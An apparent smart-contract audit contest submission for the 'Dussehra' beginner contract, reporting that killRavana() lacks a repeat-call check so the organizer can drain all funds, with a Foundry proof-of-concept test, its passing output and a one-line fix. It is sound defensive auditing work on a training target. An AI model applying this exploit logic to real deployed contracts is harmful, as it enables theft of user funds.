First Flight #17: Dussehra
First Flight #17
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Organizer can get all funds when User calls dussehra.killRavana() twice

azanux

Summary

The function dussehra.killRavana() can be called twice, allowing the organizer to get all the funds of the event.

we also have : The function dussehra.killRavana() can be exploited by organiser using reentrancy to call dussehra.killRavana() again.

Vulnerability Details

Once a user calls dussehra.killRavana(), half of the funds are sent to the organizer, but the function can be called again. As a result, the organizer can get all the funds, and the winner (SelectedRam) gets nothing and loses his reward.

We also have : The organizer can create a smart contract to exploit reentrancy in the method dussehra.killRavana(), calling this method again to drain all funds in the contract. However, it is easy for the organizer to just call dussehra.killRavana() again to drain all the funds.

Impact

The winner (SelectedRam) loses his reward.

Code Example

This code should be added to the smart contract Dussehra.sol#CounterTest:

function test_organizerGetAllFund() public participants {
// Check balance of organizer to see if equal to 0 ETH
uint256 organizerBalance = organizer.balance;
assertEq(organizerBalance, 0);
​
// Get total amount in the Dussehra contract, should be equal to 2 ETH
uint256 totalAmount = dussehra.entranceFee() * 2;
​
// Organizer selects Ram
vm.warp(1728691200 + 1);
vm.startPrank(organizer);
choosingRam.selectRamIfNotSelected();
vm.stopPrank();
​
// Player2 kills Ravana
vm.startPrank(player2);
dussehra.killRavana();
vm.stopPrank();
​
// Check if Ravana is really killed
assertEq(dussehra.IsRavanKilled(), true);
​
// Check the balance of the organizer after killRavana; he should get half of the fund, 1 ETH
uint256 organizerReward = totalAmount * 50 / 100;
assertEq(organizer.balance, organizerReward);
​
// Organizer or another player can call killRavana() again; organizer will get more ETH than he deserves, and the winner loses his reward
vm.startPrank(organizer);
dussehra.killRavana();
vm.stopPrank();
​
// Check the balance of the organizer after killRavana to see if he got all the funds; 2 ETH
assertEq(organizer.balance, totalAmount);
}

Result

forge test --mt test_organizerGetAllFund
[⠊] Compiling...
[⠘] Compiling 3 files with 0.8.20
[⠃] Solc 0.8.20 finished in 2.83s
Compiler run successful!
​
Ran 1 test for test/Dussehra.t.sol:CounterTest
[PASS] test_organizerGetAllFund() (gas: 416076)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.19ms (1.31ms CPU time)

Tools Used

Manual review.

Recommendations

Check if Ravana is already killed:

function killRavana() public RamIsSelected {
if (block.timestamp < 1728691069) {
revert Dussehra__MahuratIsNotStart();
}
if (block.timestamp > 1728777669) {
revert Dussehra__MahuratIsFinished();
}
​
+ if (IsRavanKilled == true) {
+ revert("Ravana already killed");
+ }
​
IsRavanKilled = true;
uint256 totalAmountByThePeople = WantToBeLikeRam.length * entranceFee;
console.log("Total amount by the people:", totalAmountByThePeople);
totalAmountGivenToRam = (totalAmountByThePeople * 50) / 100;
(bool success,) = organizer.call{value: totalAmountGivenToRam}("");
require(success, "Failed to send money to organizer");
}
Updates

Lead Judging Commences

bube Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

isRavanKilled is not checked

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.